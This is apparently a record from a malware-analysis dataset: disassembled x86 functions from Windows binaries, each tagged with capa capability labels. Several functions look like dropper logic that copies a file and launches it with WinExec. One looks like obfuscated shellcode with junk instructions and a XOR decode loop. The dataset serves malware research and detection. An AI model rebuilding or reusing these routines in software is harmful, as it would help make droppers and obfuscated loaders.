joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414ca8
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee4
push ebx
xor eax, eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x414e30
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x10c]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea edx, [ebp - 8]
lea eax, [ebp - 0x10c]
call fcn.00407704
lea edx, [ebp - 0x114]
xor eax, eax
call fcn.004028dc
mov eax, dword [ebp - 0x114]
lea edx, [ebp - 0x110]
call fcn.004074cc
mov eax, dword [ebp - 0x110]
mov edx, 0x414e48
call fcn.00406cc4
test eax, eax
je 0x414dc7
mov eax, dword [0x416470]
push eax
lea eax, [ebp - 0x118]
mov ecx, 0x414e58
mov edx, dword [ebp - 8]
call fcn.00403d2c
mov eax, dword [ebp - 0x118]
call fcn.00403ee0
push eax
call sub.KERNEL32.DLL_GetCompressedFileSizeA
mov edx, dword [0x416500]
mov dword [edx], eax
mov eax, dword [0x416500]
cmp dword [eax], 0
lea edx, [ebp - 4]
xor eax, eax
call fcn.004028dc
mov eax, dword [ebp - 4]
call fcn.00403ce0
mov edx, eax
sub edx, 3
lea eax, [ebp - 4]
mov ecx, 4
call fcn.00403f80
lea eax, [ebp - 4]
mov edx, 0x414e6c
call fcn.00403ce8
mov eax, dword [ebp - 4]
call fcn.00414f38
push 5
mov eax, dword [ebp - 4]
call fcn.00403ee0
push eax
call sub.KERNEL32.DLL_WinExec
mov eax, dword [ebp - 8]
call fcn.00415074
xor ebx, ebx
jmp 0x414e05
lea edx, [ebp - 0x11c]
xor eax, eax
call fcn.004028dc
mov eax, dword [ebp - 0x11c]
lea edx, [ebp - 0xc]
call fcn.00407478
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00403e2c
je 0x414e03
mov eax, dword [ebp - 0xc]
call fcn.00414c08
mov eax, dword [ebp - 8]
call fcn.00414e74
xor ebx, ebx
jmp 0x414e05
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414e37
lea eax, [ebp - 0x11c]
mov edx, 4
call fcn.00403a68
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403a68
ret

Function at 0x414e74
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ed0
xor eax, eax
push ebp
push 0x414f1e
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [ebp - 4]
push 0x414f34
lea edx, [ebp - 0x10]
xor eax, eax
call fcn.004028dc
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
call fcn.004074cc
push dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00403da0
mov eax, dword [ebp - 8]
call fcn.0040730c
test al, al
jne 0x414ef3
push 0
mov eax, dword [ebp - 8]
call fcn.00403ee0
push eax
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.004028dc
mov eax, dword [ebp - 0x14]
call fcn.00403ee0
push eax
call sub.KERNEL32.DLL_CopyFileA
push 5
mov eax, dword [ebp - 8]
call fcn.00403ee0
push eax
call sub.KERNEL32.DLL_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414f25
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00403a68
ret
Function at 0x7ffe5434
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword fs:[0x30]
push bx
inc esp
inc esp
add al, 0
not eax
not eax
add al, 0
not eax
not eax
and al, 0xff
add al, 4
sub al, 4
and al, 0xff
pushf
popf
add al, 0
push bx
inc esp
inc esp
push es
pop ds
add al, 0
cld
call 0x7ffe5466
pop edx
xor dx, dx
and al, 0xff
cld
add edx, 0xd5e0
xor ecx, ecx
pushal
inc eax
popal
mov cl, 0x1e
inc esi
dec esi
push es
pop ds
xor byte [ecx + edx], 0xbf
loop 0x7ffe547e
and al, 0xff
nop
push dword fs:[0x24]
pop dword [edx + 0xa]
and bh, 0xff
mov cl, 0xff
push eax
pop eax
push edx
loop 0x7ffe5498
cld
push eax
pop eax
mov dword [edx + 0x11], 0xffffacbb
mov ecx, dword [eax + 0x2c]
and al, 0xff
push es
pop ds
clc
mov dword [edx + 0x1b], ecx
mov dword [edx + 0x100], ecx
pushf
popf
cld
mov dword [eax + 0x2c], esp
inc esi
dec esi
push 0
add al, 0
and al, 0xff
stc
push 0
push 0
pushf
popf
stc
push 0
push 0x30
push eax
pop eax
clc
push 0x20
push eax
pop eax
push 0
cld
push 0
push bx
inc esp
inc esp
add edx, 0xffff7f37
cld
push edx
add al, 0
push edx
stc
push 0
push eax
pop eax
call dword [edx + 0x820c]
push es
pop ds
push edx
cdq
pop edx
add esp, 0x3f8
add al, 0
push eax
pop eax
xor eax, eax
push eax
pop eax
nop
add al, 0
inc eax
ret 0xc

Function at 0x7ffe9c50
Capabilities:
Encode data using xor

Disassembly:
and ch, byte [ecx]
push ds
sub byte [ecx + 6], al
aaa
add eax, 0x2e361e11
cmp byte [0x5173316], ah
add eax, 0x231c3b08
push cs
sub dword [edx], ebx
inc eax
aaa
pop es
and dword [ecx], ebx
sbb dword [ecx], ebx
or ecx, dword [eax]
cmp al, 0x24
sub byte [edi], dh
adc dh, byte [ebx]
or ebx, dword [edi]
sbb eax, dword [ebx]
and ah, byte [0x3d20091d]
sbb al, 0x34
and ecx, dword [0x3b301c11]
sbb edx, dword [0x191b1b19]
adc eax, 0xc350e13
cmp byte [edi], bh
sbb edx, dword [edx]
xor ebx, dword [edx]
inc ecx
add eax, dword [ebx]
or ah, byte [edi]
or eax, 0x7392a14
sbb byte [ecx], dh
jns 0x7ffe9bf7
push es
test byte [edi + ebx*2], al
pop es
sub byte [edx], al
test eax, 0xfd44034
cmpsd dword [esi], dword es:[edi]
xchg ebp, eax
wait
pop esp
cmp dh, byte [ecx + edx]
scasb al, byte es:[edi]
mov al, 0xd3
xor dh, byte [edi]
pop eax
int 0x87
and al, 0x11
sub eax, 0xbfae7f7e
ret
Function at 0x401d20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x43c
mov eax, dword [0x491094]
xor eax, esp
mov dword [esp + 0x438], eax
push ebx
mov ebx, ecx
push esi
push edi
lea edi, [ebx + 8]
push edi
call fcn.00406ba0
add esp, 4
lea eax, [esp + 0x10]
lea esi, [ebx + 0xc]
mov ecx, esi
push eax
call fcn.004047e0
mov eax, dword [0x492ad8]
test eax, eax
je 0x401d89
lea ecx, [esp + 0x10]
push ecx
push dword [ebx + 0xa0]
push dword [ebx + 0xa8]
push dword [ebx + 0xa4]
push dword [ebx]
call eax
add esp, 0x14
test al, al
jne 0x401e88
cmp dword [ebx], 2
jl 0x401dcd
cmp dword [esp + 0x24], 0x10
lea edi, [esp + 0x10]
mov esi, dword [esp + 0x20]
cmovae edi, dword [esp + 0x10]
push 2
call fcn.0044f7bd
add esp, 4
push eax
push 1
push esi
push edi
call fcn.0045202d
push 2
call fcn.0044f7bd
add esp, 0x14
push eax
call fcn.0044fc64
add esp, 4
lea esi, [ebx + 0xc]
lea edi, [ebx + 8]
call fcn.00401b70
test al, al
je 0x401dfc
cmp dword [esp + 0x24], 0x10
lea ecx, [esp + 0xc]
push 0
push ecx
push dword [esp + 0x28]
lea eax, [esp + 0x1c]
cmovae eax, dword [esp + 0x1c]
push eax
push dword [0x492adc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebx], 3
jne 0x401e88
mov ecx, 0x400
lea eax, [esp + 0x10]
cmp dword [esp + 0x20], ecx
cmovb ecx, dword [esp + 0x20]
cmp dword [esp + 0x24], 0x10
cmovae eax, dword [esp + 0x10]
test ecx, ecx
je 0x401e34
push ecx
push eax
lea eax, [esp + 0x48]
push eax
call fcn.0044b300
add esp, 0xc
lea eax, [esp + 0x40]
push eax
call fcn.00414170
add esp, 4
cmp dword [0x492ae4], 0
je 0x401e7e
lea eax, [esp + 0x28]
mov ecx, esi
push eax
call fcn.004047e0
lea eax, [esp + 0x28]
push eax
call dword [0x492ae4]
mov eax, dword [esp + 0x40]
add esp, 4
cmp eax, 0x10
jb 0x401e88
inc eax
lea ecx, [esp + 0x28]
push eax
push dword [esp + 0x2c]
call fcn.00404930
jmp 0x401e88
cmp byte [0x493a38], 0
jne 0x401eda
int3
mov eax, dword [esp + 0x24]
cmp eax, 0x10
jb 0x401ea0
inc eax
lea ecx, [esp + 0x10]
push eax
push dword [esp + 0x14]
call fcn.00404930
push dword [ebx + 0xac]
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea esi, [edi + 0x50]
mov ecx, esi
call fcn.004025e0
push esi
mov dword [esi], 0x48c9b4
call fcn.00448da8
mov ecx, dword [esp + 0x448]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00449be1
mov esp, ebp
pop ebp
ret
push 1
call fcn.004545b8
int3
Function at 0x40bda0
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5f0
mov eax, dword [0x491094]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov esi, edx
xor ebx, ebx
push esi
sub esp, 8
mov dword [ebp - 0x2ec], esi
mov dword [ebp - 0x2e8], ebx
push ecx
lea ecx, [ebp - 0x2e4]
call fcn.0040e970
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x2e4]
call fcn.0040eb60
cmp dword [ebp - 0x10], ebx
je 0x40bf67
nop
cmp byte [ebp - 0x2e4], 0
jne 0x40be2a
test bl, 1
je 0x40be12
and ebx, 0xfffffffe
lea ecx, [ebp - 0x39c]
mov dword [ebp - 0x2e8], ebx
call fcn.00401d20
push 0x250
lea eax, [ebp - 0x5ec]
push 0
push eax
call fcn.0044d290
add esp, 0xc
jmp 0x40be43
mov ecx, 0x94
lea esi, [ebp - 0x2e0]
lea edi, [ebp - 0x5ec]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x2ec]
mov ebx, dword [ebp - 0x5ec]
mov cl, byte [ebp + 8]
test bl, 1
je 0x40be79
test cl, cl
jne 0x40be5e
mov eax, ebx
shr eax, 4
test al, 1
jne 0x40be79
cmp dword [ebp - 0xc], 8
lea ecx, [ebp - 0x20]
mov eax, ebx
cmovae ecx, dword [ebp - 0x20]
and eax, 0xfffffffe
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov cl, byte [ebp + 8]
shr ebx, 4
test bl, 1
je 0x40beb0
test cl, cl
je 0x40beca
push 1
mov edx, esi
lea ecx, [ebp - 0x20]
call fcn.0040bda0
add esp, 4
test al, al
je 0x40bf4e
cmp dword [ebp - 0xc], 8
lea eax, [ebp - 0x20]
cmovae eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x40bec2
cmp dword [ebp - 0xc], 8
lea eax, [ebp - 0x20]
cmovae eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x40bf4e
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x2e4]
call fcn.0040eb60
lea ecx, [ebp - 0x20]
cmp ecx, eax
je 0x40beea
push 0xffffffffffffffff
push 0
push eax
call fcn.00403fa0
mov eax, dword [ebp - 0x24]
cmp eax, 8
jb 0x40bf3d
mov ecx, dword [ebp - 0x38]
inc eax
cmp eax, 0x7fffffff
ja 0x40bfc6
add eax, eax
cmp eax, 0x1000
jb 0x40bf34
test cl, 0x1f
jne 0x40bfc6
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x40bfc6
sub ecx, eax
cmp ecx, 4
jb 0x40bfc6
cmp ecx, 0x23
ja 0x40bfc6
mov ecx, eax
push ecx
call fcn.00449974
add esp, 4
cmp dword [ebp - 0x10], 0
je 0x40bf67
mov ebx, dword [ebp - 0x2e8]
jmp 0x40bdf0
mov eax, dword [ebp - 0xc]
cmp eax, 8
jb 0x40bf63
inc eax
lea ecx, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
call fcn.004055c0
xor bl, bl
jmp 0x40bfa8
mov eax, dword [ebp - 0xc]
cmp eax, 8
jb 0x40bfa6
mov ecx, dword [ebp - 0x20]
inc eax
cmp eax, 0x7fffffff
ja 0x40bfc6
add eax, eax
cmp eax, 0x1000
jb 0x40bf9d
test cl, 0x1f
jne 0x40bfcb
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x40bfd0
sub ecx, eax
cmp ecx, 4
jb 0x40bfd5
cmp ecx, 0x23
ja 0x40bfda
mov ecx, eax
push ecx
call fcn.00449974
add esp, 4
mov bl, 1
lea ecx, [ebp - 0x2e4]
call fcn.0040ea50
mov ecx, dword [ebp - 8]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00449be1
mov esp, ebp
pop ebp
ret
call fcn.0044f561
call fcn.0044f561
call fcn.0044f561
call fcn.0044f561
call fcn.0044f561
int3
Function at 0x40c090
Capabilities:
Check if file exists
Delete directory
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [0x491094]
xor eax, esp
mov dword [esp + 0x38], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0x10], 0
mov eax, dword [edi + 0x10]
test eax, eax
jne 0x40c0cd
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x38]
xor ecx, esp
call fcn.00449be1
mov esp, ebp
pop ebp
ret
cmp eax, 0x104
jae 0x40c247
lea eax, [esp + 0x14]
mov ecx, edi
push eax
call fcn.00407f50
push 2
sub esp, 8
mov ecx, eax
call fcn.0040d1d0
mov ecx, dword [esp + 0x28]
mov esi, eax
cmp ecx, 8
jb 0x40c10a
inc ecx
push ecx
push dword [esp + 0x18]
lea ecx, [esp + 0x1c]
call fcn.004055c0
cmp esi, 0xffffffff
je 0x40c160
lea eax, [esp + 0x2c]
mov ecx, edi
push eax
call fcn.00407f50
push dword [ebp + 0xc]
mov esi, eax
mov ecx, edi
lea eax, [esp + 0x18]
push eax
call fcn.00407df0
mov edx, esi
mov ecx, eax
call fcn.0040bda0
add esp, 4
lea ecx, [esp + 0x14]
mov bl, al
call fcn.00402360
lea ecx, [esp + 0x2c]
call fcn.00402360
mov al, bl
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x38]
xor ecx, esp
call fcn.00449be1
mov esp, ebp
pop ebp
ret
cmp dword [edi + 0x14], 8
jb 0x40c16a
mov eax, dword [edi]
jmp 0x40c16c
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40c0b9
test bl, 1
je 0x40c1a4
cmp dword [edi + 0x14], 8
jb 0x40c18d
mov ecx, dword [edi]
jmp 0x40c18f
mov ecx, edi
mov eax, ebx
and eax, 0xfffffffe
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x40c247
test bl, 0x10
jne 0x40c1d0
cmp dword [edi + 0x14], 8
jb 0x40c1b1
mov edi, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x38]
xor ecx, esp
call fcn.00449be1
mov esp, ebp
pop ebp
ret
cmp byte [ebp + 0xc], 0
je 0x40c202
push 0x48cbe0
lea ecx, [esp + 0x18]
call fcn.004023a0
mov ebx, 1
lea edx, [esp + 0x14]
push ebx
mov ecx, edi
call fcn.0040bda0
add esp, 4
test al, al
jne 0x40c206
mov byte [esp + 0xf], al
jmp 0x40c20b
mov ebx, dword [esp + 0x10]
mov byte [esp + 0xf], 1
test bl, 1
je 0x40c219
lea ecx, [esp + 0x14]
call fcn.00402360
cmp byte [esp + 0xf], 0
je 0x40c247
cmp dword [edi + 0x14], 8
jb 0x40c228
mov edi, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x38]
xor ecx, esp
call fcn.00449be1
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x44]
xor al, al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00449be1
mov esp, ebp
pop ebp
ret
Function at 0x40c710
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 8
jb 0x40c71e
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne al
pop ebp
ret

Function at 0x40c730
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 8
jb 0x40c73e
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40c752
shr eax, 4
and eax, 1
pop ebp
ret
xor al, al
pop ebp
ret

Function at 0x40c760
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x491094]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x218]
mov esi, ecx
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
dec eax
cmp eax, 0x102
ja 0x40c88d
sub esp, 8
lea eax, [ebp - 0x218]
mov edx, esp
mov dword [edx], eax
cmp word [ebp - 0x218], 0
jne 0x40c7b0
xor ecx, ecx
jmp 0x40c7cf
lea ecx, [ebp - 0x218]
lea edi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40c7c0
sub ecx, edi
sar ecx, 1
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x248]
call fcn.004076d0
sub esp, 8
mov edx, esp
cmp dword [eax + 0x14], 8
jb 0x40c7ec
mov ecx, dword [eax]
jmp 0x40c7ee
mov ecx, eax
mov dword [edx], ecx
lea ecx, [ebp - 0x230]
mov eax, dword [eax + 0x10]
mov dword [edx + 4], eax
call fcn.004076d0
lea ecx, [ebp - 0x230]
call fcn.004085d0
lea eax, [ebp - 0x230]
cmp esi, eax
je 0x40c822
push 0xffffffffffffffff
push 0
push eax
mov ecx, esi
call fcn.00403fa0
mov eax, dword [ebp - 0x21c]
cmp eax, 8
jb 0x40c840
inc eax
lea ecx, [ebp - 0x230]
push eax
push dword [ebp - 0x230]
call fcn.004055c0
xor eax, eax
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x220], 0
cmp eax, 8
jb 0x40c87b
inc eax
lea ecx, [ebp - 0x248]
push eax
push dword [ebp - 0x248]
call fcn.004055c0
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00449be1
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop esi
call fcn.00449be1
mov esp, ebp
pop ebp
ret
Function at 0x40c8a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x491094]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x210]
mov esi, ecx
push eax
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x40c94b
cmp word [ebp - 0x210], 0
je 0x40c94b
sub esp, 8
lea eax, [ebp - 0x210]
mov edx, esp
mov dword [edx], eax
cmp word [ebp - 0x210], 0
jne 0x40c90f
xor ecx, ecx
mov dword [edx + 4], ecx
mov ecx, esi
call fcn.004076d0
mov eax, esi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00449be1
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x210]
lea edi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40c920
sub ecx, edi
sar ecx, 1
mov dword [edx + 4], ecx
mov ecx, esi
call fcn.004076d0
mov eax, esi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00449be1
mov esp, ebp
pop ebp
ret
xor eax, eax
mov dword [ebp - 0x214], 7
lea ecx, [ebp - 0x228]
mov dword [ebp - 0x218], 0
mov word [ebp - 0x228], ax
call fcn.0040c760
mov ecx, esi
test al, al
je 0x40c99d
xor eax, eax
mov dword [esi + 0x14], 7
push 0xffffffffffffffff
mov dword [esi + 0x10], 0
push eax
mov word [esi], ax
lea eax, [ebp - 0x228]
push eax
call fcn.00403fa0
jmp 0x40c9b4
sub esp, 8
mov eax, esp
mov dword [eax], 0x48cbe4
mov dword [eax + 4], 3
call fcn.004076d0
mov eax, dword [ebp - 0x214]
cmp eax, 8
jb 0x40c9d2
inc eax
lea ecx, [ebp - 0x228]
push eax
push dword [ebp - 0x228]
call fcn.004055c0
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.00449be1
mov esp, ebp
pop ebp
ret
Function at 0x40c9f0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x491094]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x10], 0
mov esi, edx
cmp dword [edi + 0x14], 8
jb 0x40ca1d
mov ebx, dword [edi]
jmp 0x40ca1f
mov ebx, edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40ca61
test al, 0x10
je 0x40ca43
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.00449be1
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x40ca4d
mov dword [esi], 0xfffffff7
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.00449be1
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x14]
mov ecx, edi
push eax
call fcn.00407df0
push edi
lea ecx, [esp + 0x18]
call fcn.00408f00
test eax, eax
jne 0x40ca89
test esi, esi
je 0x40cad3
mov dword [esi], 0xfffffffc
xor bl, bl
jmp 0x40cad9
mov edx, esi
lea ecx, [esp + 0x14]
call fcn.0040c9f0
test al, al
jne 0x40ca9c
xor bl, bl
jmp 0x40cad9
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x40cad7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp ebx, 0xb7
jne 0x40cac6
push edi
call fcn.0040c730
add esp, 4
test al, al
jne 0x40cad7
test esi, esi
je 0x40cad3
mov ecx, ebx
call fcn.00414920
mov dword [esi], eax
xor bl, bl
jmp 0x40cad9
mov bl, 1
mov ecx, dword [esp + 0x28]
cmp ecx, 8
jb 0x40caf1
inc ecx
push ecx
push dword [esp + 0x18]
lea ecx, [esp + 0x1c]
call fcn.004055c0
mov ecx, dword [esp + 0x2c]
mov al, bl
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00449be1
mov esp, ebp
pop ebp
ret
Function at 0x40cd20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push ebx
push esi
mov dword [esp + 0x10], 0
cmp dword [eax + 0x14], 8
push edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x10], ecx
jb 0x40cd49
mov eax, dword [eax]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
xor ecx, ecx
mov dword [esp + 0xc], ecx
test esi, esi
je 0x40cdfe
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0xc]
mov ebx, eax
call fcn.0040d0f0
cmp esi, 0xffffffff
je 0x40cdc1
mov dword [esp + 0xc], esi
call fcn.00416230
mov dword [esp + 0x18], eax
mov eax, dword [ebp + 4]
mov ecx, dword [0x492b78]
mov dword [esp + 0x1c], eax
test ecx, ecx
jne 0x40cdae
call fcn.00415ab0
mov ecx, dword [0x492b78]
push dword [esp + 0x18]
mov eax, dword [ecx]
lea edx, [esp + 0x10]
push dword [esp + 0x20]
push edx
push esi
call dword [eax + 4]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x40cdfe
cmp ecx, 0xffffffff
je 0x40cdfe
push 0
lea eax, [esp + 0x18]
push eax
push edi
push dword [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40cdfa
mov esi, dword [esp + 0x14]
cmp esi, edi
jne 0x40cdfa
mov ecx, dword [esp + 0xc]
jmp 0x40ce01
mov ecx, dword [esp + 0xc]
or esi, 0xffffffff
test ecx, ecx
je 0x40ce5f
cmp ecx, 0xffffffff
je 0x40ce5f
call fcn.00416230
mov ebx, dword [ebp + 4]
mov edi, eax
mov ecx, dword [0x492b78]
mov eax, dword [esp + 0xc]
mov dword [esp + 0x10], eax
test ecx, ecx
jne 0x40ce31
call fcn.00415ab0
mov ecx, dword [0x492b78]
mov eax, dword [ecx]
lea edx, [esp + 0xc]
push edi
push ebx
push edx
push dword [esp + 0x1c]
call dword [eax + 8]
mov ecx, dword [0x492b78]
mov edi, dword [esp + 0xc]
test ecx, ecx
jne 0x40ce5a
call fcn.00415ab0
mov ecx, dword [0x492b78]
mov edx, dword [ecx]
push edi
call dword [edx]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ce70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov eax, dword [0x491094]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push esi
mov word [ebp - 0x210], ax
mov esi, ecx
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x40cf6c
cmp eax, 0x104
ja 0x40cf6c
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x228]
call fcn.004023a0
sub esp, 8
lea eax, [ebp - 0x228]
cmp dword [ebp - 0x214], 8
mov ecx, esp
cmovae eax, dword [ebp - 0x228]
mov dword [ecx], eax
mov eax, dword [ebp - 0x218]
mov dword [ecx + 4], eax
lea ecx, [ebp - 0x258]
call fcn.004076d0
sub esp, 8
mov edx, esp
cmp dword [eax + 0x14], 8
jb 0x40cf04
mov ecx, dword [eax]
jmp 0x40cf06
mov ecx, eax
mov dword [edx], ecx
lea ecx, [ebp - 0x240]
mov eax, dword [eax + 0x10]
mov dword [edx + 4], eax
call fcn.004076d0
lea ecx, [ebp - 0x240]
call fcn.004085d0
lea eax, [ebp - 0x240]
cmp esi, eax
je 0x40cf3a
push 0xffffffffffffffff
push 0
push eax
mov ecx, esi
call fcn.00403fa0
lea ecx, [ebp - 0x240]
call fcn.00402360
lea ecx, [ebp - 0x258]
call fcn.00402360
lea ecx, [ebp - 0x228]
call fcn.00402360
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00449be1
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
xor ecx, ebp
pop esi
call fcn.00449be1
mov esp, ebp
pop ebp
ret

Function at 0x40cf80
Capabilities:
Check if file exists
Copy file
Get file attributes
Set file attributes

Disassembly:
push ecx
push esi
push edi
mov esi, edx
mov edi, ecx
call fcn.004083b0
test al, al
jne 0x40cfec
mov ecx, esi
call fcn.004083b0
test al, al
jne 0x40cfec
cmp dword [edi + 0x10], 0x104
jae 0x40cfec
cmp dword [esi + 0x10], 0x104
jae 0x40cfec
cmp dword [esi + 0x14], 8
jb 0x40cfb5
mov esi, dword [esi]
cmp dword [edi + 0x14], 8
jb 0x40cfbd
mov edi, dword [edi]
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40cfec
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40cfec
test al, 1
je 0x40cfe6
and eax, 0xfffffffe
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov al, 1
pop edi
pop esi
pop ecx
ret
pop edi
xor al, al
pop esi
pop ecx
ret